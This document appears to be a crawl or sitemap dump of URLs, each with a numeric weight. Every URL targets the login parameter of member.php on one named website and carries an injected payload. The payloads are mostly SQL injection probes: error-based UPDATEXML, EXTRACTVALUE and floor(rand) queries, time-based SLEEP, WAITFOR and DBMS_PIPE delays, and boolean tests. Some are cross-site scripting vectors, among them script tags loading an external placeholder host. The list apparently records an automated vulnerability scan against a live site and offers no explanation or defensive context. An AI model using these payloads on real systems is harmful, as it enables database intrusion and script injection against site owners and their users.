http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%2011=11%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%2011=84%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%2019=19%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%2069=74%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(32=32)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=74)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(53=48)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(98=98)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%2527 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%2527%20AND%2025=25%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%2527%20AND%2057=23%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%5B%5D 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%5C%22 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%5C' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging%bf%27 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20'1f'='5E 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20'Ec'='0f 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20'O0'%20LIKE%20'O0 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20'V1'='V1 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20'oU'%20LIKE%20'pZ 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20'sR'='sR 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20OR%20'c8'='c8'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20'gc'='gc 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(38=15)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20'F8'='F8 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=72)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'a3'='a3 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20'di'='di 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%22 0.0003 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%20('0O'%20LIKE%20'0O 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%20('tk'%20LIKE%20'fz 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%2017=58%20AND%20('H7'='H7 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%2037=37%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%2048=48%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%2059=63%20AND%20('Nm'='Nm 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20OR%2037=37%20AND%20('51'='51 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20('FE'='FE 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=14)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20('Ku'='Ku 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=33)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20('Bg'='Bg 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%20'logging'%20ELSE%200x28%20END))%20AND%20('Y0'='Y0 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&mod=logging'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 